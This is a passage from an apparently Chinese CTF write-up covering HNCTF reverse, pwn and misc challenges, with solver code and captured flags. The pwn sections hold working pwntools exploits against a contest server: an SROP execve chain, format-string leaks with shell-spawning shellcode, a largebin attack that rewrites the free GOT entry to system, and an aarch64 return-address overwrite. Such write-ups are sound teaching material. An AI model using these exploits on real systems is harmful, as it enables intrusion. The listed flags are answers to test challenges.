    turtle.seth(100)
    turtle.circle(-1000, 9)
    turtle.seth(-86)
    turtle.circle(1000, 2)
    turtle.seth(230)
    turtle.fd(40)
    turtle.circle(-30, 230)
    turtle.seth(45)
    turtle.fd(81)
    turtle.seth(0)
    turtle.fd(203)
    turtle.circle(5, 90)
    turtle.fd(10)
    turtle.circle(5, 90)
    turtle.fd(7)
    turtle.seth(40)
    turtle.circle(150, 10)
    turtle.seth(30)
    turtle.fd(40)
    turtle.end_fill()
    turtle.seth(70)
    turtle.fillcolor(&quot;#FFFFFF&quot;)
    turtle.begin_fill()
    turtle.circle(-30)
    turtle.end_fill()
    flyTo(103.74, -182.59)
    turtle.seth(0)
    turtle.fillcolor(&quot;#FFFFFF&quot;)
    turtle.begin_fill()
    turtle.fd(15)
    turtle.circle(-15, 180)
    turtle.fd(90)
    turtle.circle(-15, 180)
    turtle.fd(10)
    turtle.end_fill()
    flyTo(-96.26, -182.59)
    turtle.seth(180)
    turtle.fillcolor(&quot;#FFFFFF&quot;)
    turtle.begin_fill()
    turtle.fd(15)
    turtle.circle(15, 180)
    turtle.fd(90)
    turtle.circle(15, 180)
    turtle.fd(10)
    turtle.end_fill()
    flyTo(-133.97, -91.81)
    turtle.seth(50)
    turtle.fillcolor(&quot;#FFFFFF&quot;)
    turtle.begin_fill()
    turtle.circle(30)
    turtle.end_fill()
    flyTo(-103.42, 15.09)
    turtle.seth(0)
    turtle.fd(38)
    turtle.seth(230)
    turtle.begin_fill()
    turtle.circle(90, 260)
    turtle.end_fill()
    flyTo(5, -40)
    turtle.seth(0)
    turtle.fd(70)
    turtle.seth(-90)
    turtle.circle(-70, 180)
    turtle.seth(0)
    turtle.fd(70)
    flyTo(-103.42, 15.09)
    turtle.fd(90)
    turtle.seth(70)
    turtle.fillcolor(&quot;#ffd200&quot;)
    turtle.begin_fill()
    turtle.circle(-20)
    turtle.end_fill()
    turtle.seth(170)
    turtle.fillcolor(&quot;#ffd200&quot;)
    turtle.begin_fill()
    turtle.circle(-2, 180)
    turtle.seth(10)
    turtle.circle(-100, 22)
    turtle.circle(-2, 180)
    turtle.seth(170)
    turtle.circle(100, 22)
    turtle.end_fill()
    flyTo(-13.42, 15.09)
    turtle.seth(250)
    turtle.circle(20, 110)
    turtle.seth(90)
    turtle.fd(15)
    turtle.dot(10)
    flyTo(0, -150)
    drawBlackdrawEye()
def main():
    turtle.screensize(800, 6000, &quot;#F0F0F0&quot;)
    turtle.pensize(3)
    turtle.speed(9)
    drawAll()
    turtle.penup()
    turtle.goto(100, -300)
    turtle.write(&quot;by peak&quot;, font=(&apos;Bradley Hand ITC&apos;, 30, &apos;bold&apos;))
if __name__ == &quot;__main__&quot;:
    main()
turtle.mainloop()
print(&quot;fVJXNjE0ODBpM2RrZmNSVzYxNDgwaTNka01BSlVPe25oc20=&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将fVJXNjE0ODBpM2RrZmNSVzYxNDgwaTNka01BSlVPe25oc20=解base64 逆转字符串 凯撒7&lt;/p&gt;
&lt;p&gt;flag{HNCTFdw3b08416PKvydw3b08416PK}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reverse 文件分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;修改33.cxx的代码，输出所有比较的值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;22.hxx&quot;

#include &amp;lt;iostream&amp;gt;

#include &amp;lt;cstdlib&amp;gt;

using namespace std;

void error()

{

    std::cout &amp;lt;&amp;lt; &quot;Wrong password&quot; &amp;lt;&amp;lt; std::endl;

    std::exit(-1);

}

int pow(int x, int n)

{

    int ret(1);

    for (int i = 1; i &amp;lt;= n; ++i)

        ret *= x;

    return ret;

}

void check_password()

{

    cout&amp;lt;&amp;lt;pow(I-----I,2) * pow(I-----------I,2) + (I---I)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    pow(I-------I,2) * pow(I-----I,4) - (I---I)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    (pow(pow(I-------I,2) * pow(I-----I,3) - (I---I),2) - (I-----I)*(I-------I))&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    pow((o-------o

                          |       !

                          !       !

                          !       !

                          o-------o).A,2) * (I-----I)+(I---I)&amp;lt;&amp;lt;endl

    &amp;lt;&amp;lt;pow((o-----------o

                          |           !

                          !           !

                          !           !

                          o-----------o).A,2)+(I---I)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    (pow((o-------------o

                           |             !

                           !             !

                           !             !

                           o-------------o).A,2)-(I---I))*(I-----I)*pow(I-------I,2)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    (o-----------o

                      |L           \

                      | L           \

                      |  L           \

                      |   o-----------o|!

                      o   |           !

                       L  |           !

                        L |           !

                         L|           !

                          o-----------o).V*pow(I-----I,2) - pow((o-------o

                                                                      |       !

                                                                      !       !

                                                                      o-------o).A,2) + (I---I)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    (o-----------o

                      |L           \

                      | L           \

                      |  L           \

                      |   L           \

                      |    L           \

                      |     o-----------o

                      |     !           !

                      o     |           !

                       L    |           !

                        L   |           !

                         L  |           !

                          L |           !

                           L|           !

                            o-----------o).V - (I-----I)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    (o---------------------o

                      |L                     \

                      | L                     \

                      |  L                     \

                      |   L                     \

                      |    L                     \

                      |     L                     \

                      |      L                     \

                      |       L                     \

                      |        o---------------------o

                      |        !                     !

                      !        !                     !

                      o        |                     !

                       L       |                     !

                        L      |                     !

                         L     |                     !

                          L    |                     !

                           L   |                     !

                            L  |                     !

                             L |                     !

                              L|                     !

                               o---------------------o).V*(pow(I-------I,2) + (I-----I)) + pow(I-----I,6)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

        (o---------o

                             |L         \

                             | L         \

                             |  L         \

                             |   L         \

                             |    o---------o

                             |    !         !

                             !    !         !

                             o    |         !

                              L   |         !

                               L  |         !

                                L |         !

                                 L|         !

                                  o---------o).V*(I-------I)*pow(I-----I,4)-(I---I)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

    (o-----------o

                             |L           \

                             | L           \

                             |  L           \

                             |   L           \

                             |    L           \

                             |     o-----------o

                             |     !           !

                             o     |           !

                              L    |           !

                               L   |           !

                                L  |           !

                                 L |           !

                                  L|           !

                                   o-----------o).V*pow(I-------I,3) - (I-----------I)*((I-----I)*(I-----------I)+(I---I))&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

        (o-------------o

                       |L             \

                       | L             \

                       |  L             \

                       |   L             \

                       |    L             \

                       |     o-------------o

                       |     !             !

                       o     |             !

                        L    |             !

                         L   |             !

                          L  |             !

                           L |             !

                            L|             !

                             o-------------o).V-(I-----------I)&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;

                             &quot;w&quot;&amp;lt;&amp;lt;endl;

}

int main()

{

    check_password();

    std::cout &amp;lt;&amp;lt; &quot;Correct password! It&apos;s your flag, bruh&quot; &amp;lt;&amp;lt; std::endl;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python写代码Z3求解即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from z3 import *

I = 1
o = 0
L = 0

password = [Int(f&apos;p{i}&apos;) for i in range(12)]

solver = Solver()

solver.add(And([p &amp;gt;= 0 for p in password]))
solver.add(And([p &amp;lt;= 255 for p in password]))
solver.add(password[0] + password[1] == 101)
solver.add(password[1] + password[2] == 143)
solver.add(password[0] * password[2] == 5035)

solver.add(password[3] + password[5] == 163)
solver.add(password[3] + password[4] == 226)
solver.add(password[4] * password[5] == 5814)

solver.add(password[7] + password[8] == 205)
solver.add(password[6] + password[8] == 173)
solver.add(password[6] * password[7] == 9744)

solver.add(password[9] + password[10] * password[11] == 5375)
solver.add(password[10] + password[9] * password[11] == 4670)
solver.add(password[9] + password[10] ==205)

if solver.check() == sat:
    model = solver.model()
    solution = &apos;&apos;.join(chr(model[p].as_long()) for p in password)
    print(&quot;flag{&quot;, solution, &quot;}&quot;, sep=&quot;&quot;)
else:
    print(&quot;error&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{50_pr3TtY_n0}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reverse CSMazeee&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用ida打开发现有,net壳,用De4Dot ToolKit脱壳，因为有net壳，所以将脱壳后的直接丢到dnspy里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502325-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20241021_1729502331-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里看到需要点100次生成迷宫地图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502337-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个array存放迷宫，在mazemake最后面下断点动调100下，在内存中提取迷宫&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502346-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;00******0000&lt;/p&gt;
&lt;p&gt;&lt;em&gt;000000&lt;/em&gt;0**0&lt;/p&gt;
&lt;p&gt;***&lt;strong&gt;&lt;em&gt;0&lt;/em&gt;0&lt;/strong&gt;0&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;100*000&lt;/strong&gt;0&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/strong&gt;**0&lt;/p&gt;
&lt;p&gt;****00000000&lt;/p&gt;
&lt;p&gt;rdrrrrrddrruuurrrdddddllllllluull&lt;/p&gt;
&lt;p&gt;输入走一遍迷宫即可得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502356-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;fIag{4DC8EF9E2B5CABD955DC18BBC6A35B16}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pwn ASM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先查一下保护&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502361-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拖进Ida看一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502367-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;非常简单的程序，直接看到了后门&lt;/p&gt;
&lt;p&gt;直接在rsp输入，然后栈溢出，将rax输入为0x15，使用srop&lt;/p&gt;
&lt;p&gt;`from pwn import *&lt;br /&gt;
from struct import pack&lt;br /&gt;
from ctypes import *&lt;/p&gt;
&lt;p&gt;from LibcSearcher import *&lt;/p&gt;
&lt;p&gt;def s(a):&lt;br /&gt;
p.send(a)&lt;br /&gt;
def sa(a, b):&lt;br /&gt;
p.sendafter(a, b)&lt;br /&gt;
def sl(a):&lt;br /&gt;
p.sendline(a)&lt;br /&gt;
def sla(a, b):&lt;br /&gt;
p.sendlineafter(a, b)&lt;br /&gt;
def r():&lt;br /&gt;
p.recv()&lt;br /&gt;
def pr():&lt;br /&gt;
print(p.recv())&lt;br /&gt;
def rl(a):&lt;br /&gt;
return p.recvuntil(a)&lt;br /&gt;
def inter():&lt;br /&gt;
p.interactive()&lt;br /&gt;
def debug():&lt;br /&gt;
gdb.attach(p)&lt;br /&gt;
def get_addr():&lt;br /&gt;
return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))&lt;br /&gt;
context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)&lt;br /&gt;
p= remote(&apos;101.200.58.4&apos;,10001)&lt;/p&gt;
&lt;p&gt;elf = ELF(&apos;./pwn&apos;)&lt;br /&gt;
sigFrame=SigreturnFrame()&lt;br /&gt;
sigFrame.rax=59&lt;br /&gt;
sigFrame.rdi=0x40200A&lt;br /&gt;
sigFrame.rsi=0x0&lt;br /&gt;
sigFrame.rdx=0x0&lt;br /&gt;
sigFrame.rip=0x40102D&lt;br /&gt;
payload =p64(0x40103D)+ p64(0x401034)+p64(0x401030)+ p64(0x401034)+p64(0x401030)+ p64(0x401034)+p64(0x401030)+ p64(0x401034)+p64(0x40102D)+flat(sigFrame)&lt;/p&gt;
&lt;p&gt;p.sendline(payload)&lt;/p&gt;
&lt;p&gt;p.interactive()`&lt;/p&gt;
&lt;p&gt;flag{7b74f714-cb8e-46b9-b799-e9a957f6e32f}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pwn ret&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先查保护&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502416-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ida看一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502423-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Output函数存在格式化字符串漏洞，直接爆破read 0x10引发溢出&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502427-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为栈是可执行的，所以直接ret到栈上&lt;/p&gt;
&lt;p&gt;`from pwn import *&lt;br /&gt;
from struct import pack&lt;br /&gt;
from ctypes import *&lt;br /&gt;
from LibcSearcher import *&lt;/p&gt;
&lt;p&gt;def s(a):&lt;br /&gt;
p.send(a)&lt;br /&gt;
def sa(a, b):&lt;br /&gt;
p.sendafter(a, b)&lt;br /&gt;
def sl(a):&lt;br /&gt;
p.sendline(a)&lt;br /&gt;
def sla(a, b):&lt;br /&gt;
p.sendlineafter(a, b)&lt;br /&gt;
def r():&lt;br /&gt;
p.recv()&lt;br /&gt;
def pr():&lt;br /&gt;
print(p.recv())&lt;br /&gt;
def rl(a):&lt;br /&gt;
return p.recvuntil(a)&lt;br /&gt;
def inter():&lt;br /&gt;
p.interactive()&lt;br /&gt;
def debug():&lt;br /&gt;
gdb.attach(p)&lt;br /&gt;
def get_addr():&lt;br /&gt;
return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))&lt;br /&gt;
context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)&lt;br /&gt;
p = remote(&quot;101.200.58.4&quot;, 10004)&lt;br /&gt;
libc = ELF(&quot;./libc.so.6&quot;)&lt;br /&gt;
elf = ELF(&apos;./ret&apos;)&lt;br /&gt;
payload = b&quot;%6$p&quot;&lt;/p&gt;
&lt;h1&gt;dbg()&lt;/h1&gt;
&lt;p&gt;sa(b&quot;ask?&quot;,payload)&lt;br /&gt;
rl(b&quot;0x&quot;)&lt;br /&gt;
stack = p.recv(12)&lt;br /&gt;
stack = int(stack,16)&lt;br /&gt;
print(&quot;stack -&amp;gt; &quot;,hex(stack))&lt;br /&gt;
rsp_stack = stack - 0x100 - 0x70&lt;br /&gt;
rl(b&quot;ok,&quot;)&lt;br /&gt;
num = rl(b&quot; &quot;)[:-1]&lt;br /&gt;
num = int(num)&lt;br /&gt;
print(hex(num))&lt;br /&gt;
if num &amp;gt; 0x90:&lt;br /&gt;
shellcode = asm(shellcraft.sh())&lt;br /&gt;
payload = shellcode.ljust(124,b&quot;\xff&quot;) + p32(0x100)&lt;br /&gt;
payload += p64(stack-0x1000) + p64(rsp_stack)&lt;br /&gt;
sla(b&quot;number&quot;,payload)&lt;br /&gt;
inter()`&lt;/p&gt;
&lt;p&gt;flag{42dbb41a-3a3a-4f92-8066-034b4f0085d5}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pwm normal pwn&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先查保护&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502462-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ida打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502473-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现有uaf漏洞，有一个限制大小的malloc申请****&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502481-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里只能使用largbin attack，直接打mp_，然后释放进tcache，因为pie没改，所以将改freegot为system拿shell&lt;/p&gt;
&lt;p&gt;`from pwn import *&lt;/p&gt;
&lt;p&gt;FILENAME=&apos;../pwn17&apos;&lt;br /&gt;
elf=ELF(FILENAME)&lt;br /&gt;
libc=elf.libc&lt;br /&gt;
p = remote(&quot;101.200.58.4&quot;,2222)&lt;br /&gt;
def command(option):&lt;br /&gt;
p.recvuntil(b&apos;&amp;gt;&apos;)&lt;br /&gt;
p.sendline(bytes(str(option),&apos;utf-8&apos;))&lt;/p&gt;
&lt;p&gt;def create(idx,Size):&lt;br /&gt;
command(1)&lt;br /&gt;
p.recvuntil(b&apos;Index&apos;)&lt;br /&gt;
p.sendline(bytes(str(idx),&apos;utf-8&apos;))&lt;br /&gt;
p.recvuntil(b&apos;Size&apos;)&lt;br /&gt;
p.sendline(bytes(str(Size),&apos;utf-8&apos;))&lt;/p&gt;
&lt;p&gt;def free(id):&lt;br /&gt;
command(2)&lt;br /&gt;
p.recvuntil(b&apos;Index&apos;)&lt;br /&gt;
p.sendline(bytes(str(id),&apos;utf-8&apos;))&lt;br /&gt;
def edit(id,Content):&lt;br /&gt;
command(3)&lt;br /&gt;
p.recvuntil(b&apos;Index&apos;)&lt;br /&gt;
p.sendline(bytes(str(id),&apos;utf-8&apos;))&lt;br /&gt;
p.recvuntil(b&apos;Content&apos;)&lt;br /&gt;
p.send(Content)&lt;br /&gt;
def show(id):&lt;br /&gt;
command(4)&lt;br /&gt;
p.recvuntil(b&apos;Index&apos;)&lt;br /&gt;
p.sendline(bytes(str(id),&apos;utf-8&apos;))&lt;/p&gt;
&lt;p&gt;create(0,0x510)&lt;br /&gt;
create(1,0x510)&lt;br /&gt;
create(2,0x500)&lt;/p&gt;
&lt;p&gt;free(0)&lt;br /&gt;
show(0)&lt;br /&gt;
libc_addr=u64_fix(p)&lt;br /&gt;
libcbase=libc_addr-0x1f6cc0&lt;br /&gt;
dir(&apos;libcbase&apos;)&lt;/p&gt;
&lt;p&gt;create(3,0x530)&lt;br /&gt;
free(2)&lt;br /&gt;
fd=0x1f70f0+libcbase&lt;br /&gt;
mp=libcbase+0x1f63a0+0x8&lt;br /&gt;
edit(0,p64(fd)+p64(0)*2+p64(mp-0x20))&lt;br /&gt;
create(4,0x530)&lt;/p&gt;
&lt;p&gt;free(4)&lt;br /&gt;
target=0x4040e0&lt;br /&gt;
edit(0,b&apos;\x00&apos;*0x80+p64(target))&lt;br /&gt;
create(5,0x530)&lt;br /&gt;
edit(5,p64(0x404000))&lt;br /&gt;
system_addr=libcbase+libc.symbols[&apos;system&apos;]&lt;br /&gt;
edit(0,p64(system_addr))&lt;br /&gt;
edit(4,b&apos;/bin/sh\x00&apos;)&lt;br /&gt;
free(4)&lt;/p&gt;
&lt;p&gt;p.interactive()`&lt;/p&gt;
&lt;p&gt;flag{06c62ef8-66f9-48f7-9f7d-1d0a17411d1a}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pwn no fmtstr&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先查保护&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502526-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ida打开发现是Arm程序&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502536-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到了程序后门&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502543-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;并且看到show函数有fmt漏洞，无限制并且有多个指针可以作为跳板利用，直接指向ret的返回地址，然后修改返回地址控制rip&lt;/p&gt;
&lt;p&gt;`from pwn import *&lt;/p&gt;
&lt;p&gt;context.arch=&apos;aarch64&apos;&lt;br /&gt;
p = remote(&apos;101.200.58.4&apos;,5555)&lt;br /&gt;
p.recvuntil(&apos;rr &apos;)&lt;br /&gt;
stderr = int(p.recvline(),16)&lt;br /&gt;
print(&apos;stderr:&apos;,hex(stderr))&lt;/p&gt;
&lt;p&gt;def add(idx,size):&lt;br /&gt;
p.sendlineafter(&apos;e: &apos;, str(ord(&apos;a&apos;)))&lt;br /&gt;
p.sendlineafter(&apos;x: &apos;,str(idx))&lt;br /&gt;
p.sendlineafter(&apos;ze: &apos;,str(size))&lt;/p&gt;
&lt;p&gt;def edit(idx,data):&lt;br /&gt;
p.sendlineafter(&apos;e: &apos;, str(ord(&apos;e&apos;)))&lt;br /&gt;
p.sendlineafter(&apos;x: &apos;,str(idx))&lt;br /&gt;
p.sendafter(&apos;t: &apos;,data)&lt;/p&gt;
&lt;p&gt;def show(idx):&lt;br /&gt;
p.sendlineafter(&apos;e: &apos;, str(ord(&apos;s&apos;)))&lt;br /&gt;
p.sendlineafter(&apos;x: &apos;,str(idx))&lt;/p&gt;
&lt;p&gt;def generate_fmt_addr16_pre(addr):&lt;br /&gt;
if addr==0:&lt;br /&gt;
return &apos;%29$hn&apos;&lt;br /&gt;
payload = &apos;%&apos;+str(addr)+&apos;c&apos;+&apos;%29$hn&apos;&lt;br /&gt;
return payload&lt;br /&gt;
def generate_fmt_addr16(addr):&lt;br /&gt;
if addr==0:&lt;br /&gt;
return &apos;%65$hn&apos;&lt;br /&gt;
payload = &apos;%&apos;+str(addr)+&apos;c&apos;+&apos;%65$hn&apos;&lt;br /&gt;
return payload&lt;/p&gt;
&lt;p&gt;def change_addr16(addr):&lt;br /&gt;
edit(0, generate_fmt_addr16(addr&amp;amp;0xffff))&lt;br /&gt;
show(0)&lt;/p&gt;
&lt;p&gt;def pwn():&lt;br /&gt;
add(0,0x100)&lt;br /&gt;
edit(0,&apos;%8$p.%9$p.&apos;)&lt;br /&gt;
show(0)&lt;br /&gt;
p.recvuntil(&apos;t: &apos;)&lt;br /&gt;
stack = int(p.recvuntil(&apos;.&apos;)[:-1],16)-0x18&lt;br /&gt;
base_addr = int(p.recvuntil(&apos;.&apos;)[:-1],16)-0xea0&lt;br /&gt;
print(&apos;stack:&apos;,hex(stack))&lt;br /&gt;
print(&apos;base_addr:&apos;,hex(base_addr))&lt;br /&gt;
edit(0, generate_fmt_addr16_pre(stack&amp;amp;0xffff))&lt;br /&gt;
show(0)&lt;br /&gt;
change_addr16(base_addr+0xd40)&lt;br /&gt;
p.interactive()&lt;br /&gt;
pwn()`&lt;/p&gt;
&lt;p&gt;flag{252ef11b-3721-436d-b41b-8e86808d27f1}&lt;/p&gt;
&lt;p&gt;Misc 信息安全大赛的通知&lt;/p&gt;
&lt;p&gt;flag就在文档里，但是字体被调整成了白色&lt;/p&gt;
&lt;p&gt;flag{HNCTF9090AS9nbg87600hn77hn88}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Misc 编码转换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;编码1：++++++++[&amp;gt;&amp;gt;++&amp;gt;++++&amp;gt;++++++&amp;gt;++++++++&amp;gt;++++++++++&amp;gt;++++++++++++&amp;gt;++++++++++++++&amp;gt;++++++++++++++++&amp;gt;++++++++++++++++++&amp;gt;++++++++++++++++++++&amp;gt;++++++++++++++++++++++&amp;gt;++++++++++++++++++++++++&amp;gt;++++++++++++++++++++++++++&amp;gt;++++++++++++++++++++++++++++&amp;gt;++++++++++++++++++++++++++++++&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;++++++.&amp;gt;----.&amp;lt;-----.&amp;gt;-----.&amp;gt;-----.&amp;lt;&amp;lt;.+.&amp;lt;&amp;lt;&amp;lt;+++++++.------.&amp;gt;&amp;gt;&amp;gt;+.+.---.&amp;lt;&amp;lt;&amp;lt;.&lt;/p&gt;
&lt;p&gt;编码2：([]&lt;a href=&quot;/images/20241021_image.jpg&quot;&gt;(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]&lt;/a&gt;+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+([]&lt;a href=&quot;/images/20241021_image.jpg&quot;&gt;(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]&lt;/a&gt;+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]]+[+!+[]]&lt;/p&gt;
&lt;p&gt;编码3：Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!&lt;/p&gt;
&lt;p&gt;Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!&lt;/p&gt;
&lt;p&gt;Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!&lt;/p&gt;
&lt;p&gt;Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!&lt;/p&gt;
&lt;p&gt;Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!&lt;/p&gt;
&lt;p&gt;Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?&lt;/p&gt;
&lt;p&gt;Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!&lt;/p&gt;
&lt;p&gt;Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!&lt;/p&gt;
&lt;p&gt;Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!&lt;/p&gt;
&lt;p&gt;Ook! Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.&lt;/p&gt;
&lt;p&gt;Ook. Ook. Ook! Ook. Ook? Ook.&lt;/p&gt;
